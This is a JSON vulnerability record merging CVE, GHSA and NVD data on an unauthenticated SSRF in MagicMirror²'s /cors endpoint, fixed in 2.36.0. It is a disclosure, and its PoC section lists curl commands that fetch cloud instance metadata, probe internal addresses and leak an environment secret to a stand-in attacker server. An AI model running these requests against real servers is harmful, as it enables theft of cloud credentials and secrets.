{"id":"CVE-2026-42281","aliases":["CVE-2026-42281","GHSA-ph6f-2cvq-79hq"],"related":[],"kind":"vulnerability","state":"published","title":"MagicMirror²: Unauthenticated SSRF via /cors endpoint","summary":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.\n\n### Details\n\nThe `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.\n\nAdditionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).\n\n**Vulnerable code path:**\n\n```\nGET /cors?url=<attacker-controlled-url>\n  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR\n  → fetch(url)                        // no validation, no blocklist\n  → response returned to attacker     // full body, status, headers\n```\n\n**Key issues:**\n- No authentication required\n- No URL validation or blocklist for private/reserved IP ranges\n- No restriction on URL scheme or destination\n- Environment variable expansion in URL before fetch\n\n### PoC\n\n**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`).\n\n**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**\n\n```\ncurl \"http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/\"\n```\n\nIf the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.\n\n**2. Internal network scanning:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://192.168.1.1/\"\ncurl \"http://<target>:8080/cors?url=http://127.0.0.1:3000/\"\n```\n\nThe attacker can probe internal services by observing response status codes and timing.\n\n**3. Environment variable exfiltration:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**\"\n```\n\nThe server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.\n\n### Impact\n\n- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account\n- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker\n- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable\n- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability","format":"markdown","source":"ghsa"},{"lang":"es","text":"MagicMirror² es una plataforma de espejo inteligente modular de código abierto. Antes de la versión 2.36.0, una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) no autenticada en el endpoint /cors permite a cualquier atacante remoto forzar al servidor MagicMirror² a realizar peticiones HTTP arbitrarias a redes internas, servicios de metadatos en la nube y servicios de localhost. El endpoint también expande marcadores de posición de variables de entorno (VAR_NAME), lo que permite la exfiltración de secretos del lado del servidor. Esta vulnerabilidad está corregida en la versión 2.36.0.","source":"nvd"}],"published":"2026-05-05T20:53:59.000Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":9.2,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":9.2,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 2.36.0","status":"affected"}],"vendor":"MagicMirrorOrg","product":"MagicMirror","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.36.0"}],"ecosystem":"npm","package":"magicmirror","purl":"pkg:npm/magicmirror","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.36.0"}],"vendor":"magicmirror","product":"magicmirror","cpe":"cpe:2.3:a:magicmirror:magicmirror:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42281","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/MagicMirrorOrg/MagicMirror","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-14T18:09:59.158Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42281","url":"https://www.cve.org/CVERecord?id=CVE-2026-42281","licence":"CVE Terms of Use","modified":"2026-05-14T19:51:14.186Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ph6f-2cvq-79hq","url":"https://github.com/advisories/GHSA-ph6f-2cvq-79hq","licence":"CC-BY-4.0","modified":"2026-06-08T23:30:17.620Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42281","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.716Z","epss":{"score":0.01623,"percentile":0.76834,"date":"2026-12-01T12:00:22.000Z"}}